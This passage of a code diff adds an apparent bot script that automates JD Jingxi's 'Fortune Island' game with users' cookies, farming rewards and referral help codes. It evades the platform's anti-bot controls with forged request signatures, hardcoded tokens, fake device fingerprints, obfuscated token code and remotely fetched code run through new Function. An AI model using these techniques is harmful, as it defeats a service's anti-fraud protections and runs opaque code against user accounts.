"").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getPearlDailyReward() { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetPearlDailyReward`, `__t=${Date.now()}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetPearlDailyReward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function pearlDailyDraw(ddwSeasonStartTm, strToken) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PearlDailyDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&strToken=${strToken}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} PearlDailyDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`抽奖成功:获得${data.strPrizeName || JSON.stringify(data)}\n`) + } else { + console.log(`抽奖失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function composePearlAward(strDT, type, size) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposePearlAward`, `__t=${Date.now()}&type=${type}&size=${size}&strBT=${strDT}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposePearlAward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`模拟操作中奖:获得${data.ddwAwardHb / 100}元红包,总计获得${data.ddwVirHb / 100}元红包`) + } else { + console.log(`模拟操作未中奖:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 助力奖励 +function pearlHelpDraw(ddwSeasonStartTm, dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PearlHelpDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} PearlHelpDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`领取助力奖励成功:获得${data.StagePrizeInfo.ddwAwardHb / 100}元红包,总计获得${data.StagePrizeInfo.ddwVirHb / 100}元红包`) + } else { + console.log(`领取助力奖励失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 助力 +function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`user/PearlHelpByStage`, `__t=${Date.now()}&strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功:获得${data.GuestPrizeInfo.strPrizeName}`) + } else if (data.iRet === 2235 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2232 || data.sErrMsg === '分享链接已过期') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号已黑`) + $.canHelp = false + } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else { + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function setMark() { + return new Promise(resolve => { + $.get(taskUrl("user/SetMark", `strMark=daily_task_win&strValue=1&dwType=1`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} SetMark API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally{ + resolve(); + } + }) + }) +} + +// 获取用户信息 +function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${encodeURIComponent('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task,cfd_has_show_selef_point,choose_goods_has_show,daily_task_win,new_user_task_win,guider_new_user_task,guider_daily_task_icon,guider_nn_task_icon,tool_layer,new_ask_friend_m')}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}&strPgUUNum=${token['farm_jstoken']}&strVersion=1.0.1&dwIsReJoin=1`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + const { + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + LeadInfo = {}, + Business = {}, + MarkList = {} + } = data; + if (showInvite) { + console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}\n`); + $.shareCodes.push(strMyShareId) + } + $.info = { + ...$.info, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + LeadInfo, + MarkList + }; + resolve({ + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + LeadInfo, + MarkList + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 新手任务 +async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) +} +async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function biz(contents){ + return new Promise(async (resolve) => { + let option = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: 'm.jingxi.com', + "User-Agent": UA, + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + } + } + $.get(option, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + }; +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://transfer.nz.lu/cfd`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; + // } else { + // $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; + // } + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; + console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const 